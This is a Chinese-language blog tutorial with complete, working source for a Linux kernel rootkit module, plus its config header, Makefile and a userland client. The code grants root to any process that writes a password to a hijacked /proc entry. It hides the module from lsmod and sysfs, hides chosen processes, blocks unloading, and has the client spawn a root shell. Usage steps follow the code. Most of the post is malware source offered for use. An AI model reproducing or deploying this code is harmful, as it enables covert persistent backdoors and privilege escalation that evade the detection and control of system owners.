rootkit:在隐藏模块的基础上隐藏进程
上篇随笔中实现了隐藏进程，在实际的处理中，经常会用模块来达到修改系统调用的目的，但是当插入一个模块时，若不采取任何隐藏措施，很容易被对方发现，一旦对方发现并卸载了所插入的模块，那么所有利用该模块来隐藏的文件就暴露了，所以应继续分析如何来隐藏特定名字的模块。
这里我们可以通过/proc文件系统来向内核传递命令的方式，实现获取root权限、隐藏模块、隐藏进程、显示进程、显示模块、允许卸载模块等功能。
对于什么是/proc文件系统，以及如何通过它来跟内核通信，可以参考这里： http://www.ibm.com/developerworks/cn/linux/l-proc.html
下面直接贴代码：
1 /*rootkit.c*/ 2 #include <linux/module.h> 3 #include<linux/kernel.h> 4 #include<linux/proc_fs.h> 5 #include<linux/sched.h> 6 #include<linux/string.h> 7 #include<linux/cred.h> 8 #include<linux/stat.h> 9 #include<linux/uaccess.h> 10 #include<linux/file.h> 11 #include "rootkit_conf.h" 12 13 MODULE_LICENSE("GPL") ; 14 MODULE_AUTHOR("Ormi<ormi.ormi@gmail.com>") ; 15 MODULE_DESCRIPTION("Simple rootkit using procfs") ; 16 MODULE_VERSION("0.1.2"); 17 static int failed; 18 int orig_cr0; 19 static char pid[10][32]; 20 static int pid_index; 21 /* Here are pointers in which we save original, replaced pointers. We use 22 them later, during unloading the module. 23 I think that their names explain what they are ;) */ 24 static int (*old_proc_readdir)(struct file *, void *, filldir_t); 25 static filldir_t old_filldir ; 26 static ssize_t (*old_fops_write) (struct file *, const char __user *,size_t, loff_t *); 27 static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t*); 28 static write_proc_t *old_write; 29 static read_proc_t *old_read; 30 static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */ 31 static struct proc_dir_entry *root; /* Pointer to /proc directory */ 32 static struct list_head *prev; /* Pointer to entry in main modules list whichwas before our module before we hid the rootkit */ 33 static struct file_operations *fops; /* file_operations of infected entry */ 34 static struct file_operations *root_fops; /* file_operations of /procdirectory */ 35 36 37 static unsigned int clear_and_return_cr0(void)// 38 { 39 unsigned int cr0 = 0; 40 unsigned int ret; 41 42 asm volatile ("movl %%cr0, %%eax" 43 : "=a"(cr0)//eaxcr0 44 ); 45 ret = cr0;// 46 47 /*clear the 16th bit of CR0,*/ 48 cr0 &= 0xfffeffff; 49 asm volatile ("movl %%eax, %%cr0" 50 : 51 : "a"(cr0) 52 ); 53 return ret; 54 } 55 56 static void setback_cr0(unsigned int val) 57 { 58 asm volatile ("movl %%eax, %%cr0" 59 : 60 : "a"(val) 61 ); 62 } 63 64 static inline void module_remember_info(void)//save the pointer to the prev of hide module 65 { 66 prev = THIS_MODULE->list.prev; 67 } 68 static inline void module_show(void)//lsmod 69 { 70 list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */ 71 } 72 73 /* Parameter of this function is pointer to buffer in which there should be 74 command */ 75 76 static int check_buf(const char __user *buf) 77 { 78 /* Here we give root privileges */ 79 struct cred *new = prepare_creds();//return current process's cred struct 80 if (!strcmp(buf, password)) { 81 new->uid = new->euid = 0; 82 new->gid = new->egid = 0; 83 commit_creds(new); 84 } 85 86 /* Here we make possible to unload the module by "rmmod" */ 87 else if (!strcmp(buf, module_release)) 88 module_put(THIS_MODULE);//count-- 89 /* Here we make module visible */ 90 else if (!strcmp(buf, module_uncover)) 91 module_show();//add to the list 92 /* We hide process */ 93 else if (!strncmp(buf, hide_proc, strlen(hide_proc))) { 94 if (pid_index > 9) /*max number of the hided process is 10*/ 95 return 0; 96 sprintf(pid[pid_index], "%s", buf + 5); 97 pid_index++; 98 } 99 /* We "unhide" lastly hidden process */ 100 else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) { 101 if (!pid_index) 102 return 0; 103 pid_index--; 104 } 105 /* If we are here, there was no command passed */ 106 else 107 return 1; 108 return 0; 109 } 110 111 112 113 /* Our "write" function */ 114 static int buf_write(struct file *file, const char __user *buf,unsigned long count, void *data) 115 { 116 /* If check_buf return 0, there was command passed */ 117 if (!check_buf(buf)) 118 return count; 119 /* Otherwise we execute original function */ 120 return old_write(file, buf, count, data); 121 } 122 123 124 125 /* Our "read" function for read_proc field*/ 126 static int buf_read(char __user *buf, char **start, off_t off,int count, int *eof, void *data) 127 { 128 if (!check_buf(buf)) 129 return count; 130 return old_read(buf, start, off, count, eof, data); 131 } 132 133 134 /* For file_operations structure */ 135 static ssize_t fops_write(struct file *file, const char __user *buf_user,size_t count, loff_t *p) 136 { 137 if (!check_buf(buf_user)) 138 return count; 139 return old_fops_write(file, buf_user, count, p); 140 } 141 142 143 /* For file_operations structure */ 144 static ssize_t fops_read(struct file *file, char __user *buf_user,size_t count, loff_t *p) 145 { 146 147 if (!check_buf(buf_user)) 148 return count; 149 return old_fops_read(file, buf_user, count, p); 150 } 151 152 153 /* Our filldir function */ 154 static int new_filldir(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type) 155 { 156 int i; 157 /* We check if "name" is pid of one of hidden processes */ 158 for (i = 0; i < pid_index; i++) 159 if (!strcmp(name, pid[i])) 160 return 0; /* If yes, we don't display it */ 161 /* Otherwise we invoke original filldir */ 162 return old_filldir(__buf, name, namelen, offset, ino, d_type); 163 } 164 165 166 167 /* Our readdir function */ 168 static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir) 169 { 170 /* To invoke original filldir in new_filldir we have to remeber pointer to 171 original filldir */ 172 old_filldir = filldir; 173 /* We invoke original readdir, but as "filldir" parameter we give pointer to 174 our filldir */ 175 return old_proc_readdir(filp, dirent, new_filldir) ; 176 } 177 178 179 180 /* Here we replace readdir function of /proc */ 181 static inline void change_proc_root_readdir(void) 182 { 183 root_fops = (struct file_operations *)root->proc_fops; 184 old_proc_readdir = root_fops->readdir; 185 186 root_fops->readdir = new_proc_readdir; 187 188 } 189 190 191 static inline void proc_init(void)//commond 192 { 193 ptr = create_proc_entry("temporary", 0444, NULL); 194 ptr = ptr->parent; 195 /* ptr->parent was pointer to /proc directory */ 196 /* If it wasn't, something is seriously wrong */ 197 if (strcmp(ptr->name, "/proc") != 0) { 198 failed = 1; 199 return; 200 } 201 root = ptr; 202 remove_proc_entry("temporary", NULL); 203 204 orig_cr0 = clear_and_return_cr0(); 205 change_proc_root_readdir(); /* We change /proc's readdir function */ 206 setback_cr0(orig_cr0); /*set the wp*/ 208 ptr = ptr->subdir; 209 /* Now we are searching entry we want to infect */ 210 while (ptr) { 211 if (strcmp(ptr->name, passwaiter) == 0) 212 goto found; /* Ok, we found it */ 213 ptr = ptr->next; /* Otherwise we go to next entry */ 214 } 215 /* If we didn't find it, something is wrong :( */ 216 failed = 1; 217 return; 218 found: 219 /* Let's begin infecting */ 220 /* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */ 221 old_write = ptr->write_proc; 222 old_read = ptr->read_proc; 223 fops = (struct file_operations *)ptr->proc_fops; /* Pointer tofile_operations structure of infected entry */ 224 old_fops_read = fops->read; 225 old_fops_write = fops->write; 226 227 orig_cr0 = clear_and_return_cr0(); /*set back the wp*/ 228 229 /* We replace write_proc/read_proc */ 230 if (ptr->write_proc) 231 ptr->write_proc = buf_write; 232 else if (ptr->read_proc) 233 ptr->read_proc = buf_read; 234 235 /* We replace read/write from file_operations */ 236 if (fops->write) 237 fops->write =fops_write; 238 else if (fops->read) 239 fops->read = fops_read; 240 241 setback_cr0(orig_cr0); 242 /* There aren't any reading/writing functions? Error! */ 243 if (!ptr->read_proc && !ptr->write_proc &&!fops->read && !fops->write) { 244 failed = 1; 245 return; 246 } 247 } 248 249 250 /* This functions does some "cleanups". If we don't set some pointers tu 251 NULL, 252 we can cause Oops during unloading rootkit. We free some structures, 253 because we don't want to waste memory... */ 254 static inline void tidy(void) 255 { 256 kfree(THIS_MODULE->notes_attrs); 257 THIS_MODULE->notes_attrs = NULL; 258 kfree(THIS_MODULE->sect_attrs); 259 THIS_MODULE->sect_attrs = NULL; 260 kfree(THIS_MODULE->mkobj.mp); 261 THIS_MODULE->mkobj.mp = NULL; 262 THIS_MODULE->modinfo_attrs->attr.name = NULL; 263 kfree(THIS_MODULE->mkobj.drivers_dir); 264 THIS_MODULE->mkobj.drivers_dir = NULL; 265 } 266 267 268 269 /* 270 We must delete some structures from lists to make rootkit harder to detect. 271 */ 272 static inline void rootkit_hide(void) 273 { 274 list_del(&THIS_MODULE->list);//lsmod,/proc/modules 275 kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules 276 list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry 277 } 278 279 280 static inline void rootkit_protect(void) 281 { 282 try_module_get(THIS_MODULE);// count++ 283 } 284 285 286 static int __init rootkit_init(void) 287 { 288 module_remember_info(); 289 proc_init(); 290 if (failed) 291 return 0; 292 rootkit_hide(); 293 tidy(); 294 rootkit_protect(); 295 return 0 ; 296 } 297 298 299 300 static void __exit rootkit_exit(void) 301 { 302 /* If failed, we don't have to do any cleanups */ 303 if (failed) 304 return; 305 orig_cr0 = clear_and_return_cr0(); 306 root_fops->readdir = old_proc_readdir; 307 fops->write = old_fops_write; 308 fops->read = old_fops_read; 309 ptr->write_proc = old_write; 310 ptr->read_proc = old_read; 311 setback_cr0(orig_cr0); 312 } 313 314 315 module_init(rootkit_init); 316 module_exit(rootkit_exit);
命令头文件：
1 /*rootkit_conf.h*/ 2 static char password[] = "secretpassword" ; //give here password 3 static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it 4 static char module_release[] = "release" ; //command to release the module(make possible to unload it) 5 static char module_uncover[] = "uncover" ; //command to show the module 6 static char hide_proc[] = "hide" ; //command to hide specified process 7 static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process
对应的Makefile
1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae 2 PWD:=$(shell pwd) 3 obj-m :=rootkit.o 4 modules: 5 $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 6 clean: 7 rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers
测试程序：
1 /*test_rootkit.c*/ 2 #include<stdio.h> 3 #include<unistd.h> 4 #include<fcntl.h> 5 #include<string.h> 6 #include<errno.h> 7 #include<sys/stat.h> 8 #include "rootkit_conf.h" 9 static char file[64]; 10 static char command[64]; 11 int root = 0; 12 int main(int argc, char *argv[]) 13 { 14 if(argc < 2) 15 { 16 fprintf(stderr, "Usage: %s <command>\n", argv[0]); 17 return 1; 18 } 19 int fd ; 20 /* We get path to infected entry */ 21 sprintf(file, "/proc/%s", passwaiter); 22 23 /* If sent command is equal to command which has to give us root, we must run shell at the end */ 24 if(!strcmp(argv[1], password)) 25 root = 1; 26 27 /* At first we try to write command to that entry */ 28 fd = open(file, O_WRONLY); 29 if(fd < 1) 30 { 31 printf("Opening for writing failed! Trying to open for reading!\n"); 32 /* Otherwise, we send command by reading */ 33 fd = open(file, O_RDONLY); 34 if(!fd) { 35 perror("open"); 36 return 1; 37 } 38 read(fd, argv[1], strlen(argv[1])); 39 } 40 else 41 write(fd, argv[1], strlen(argv[1])); 42 end: 43 close(fd) ; 44 printf("[+] I did it!\n") ; 45 /* if we have to get root, we run shell */ 46 if(root) { 47 uid_t uid = getuid() ; 48 printf("[+] Success! uid=%i\n", uid) ; 49 setuid(0) ; 50 setgid(0) ; 51 execl("/bin/bash", "bash", 0) ; 52 } 53 return 0; 54 }
编译生成模块 rootkit.ko,并加载进内核
默认情况下，我们已经隐藏了模块rootkit.ko 所以不管是 lsmod 还是 ls /proc/modules 或则 ls /sys/modules 是看不到rootkit.ko的。
此时编译运行test_rootkit.c
并传入参数：1：secretpassword 此时可以获得root权限
2：uncover 此时运行lsmod可以查看到模块rootkit.ko
3: release 此时才可以用rmmode卸载模块rootkit.ko，默认情况下是不可以卸载的，因为我们在模块里设置了正在使用模块标记count=1,所以必须传命令release 让count=0，这样才可以卸载
4：hide：12 此时就可以隐藏进程号为12的进程
5：unhide 此时就可以显示最近隐藏的进程
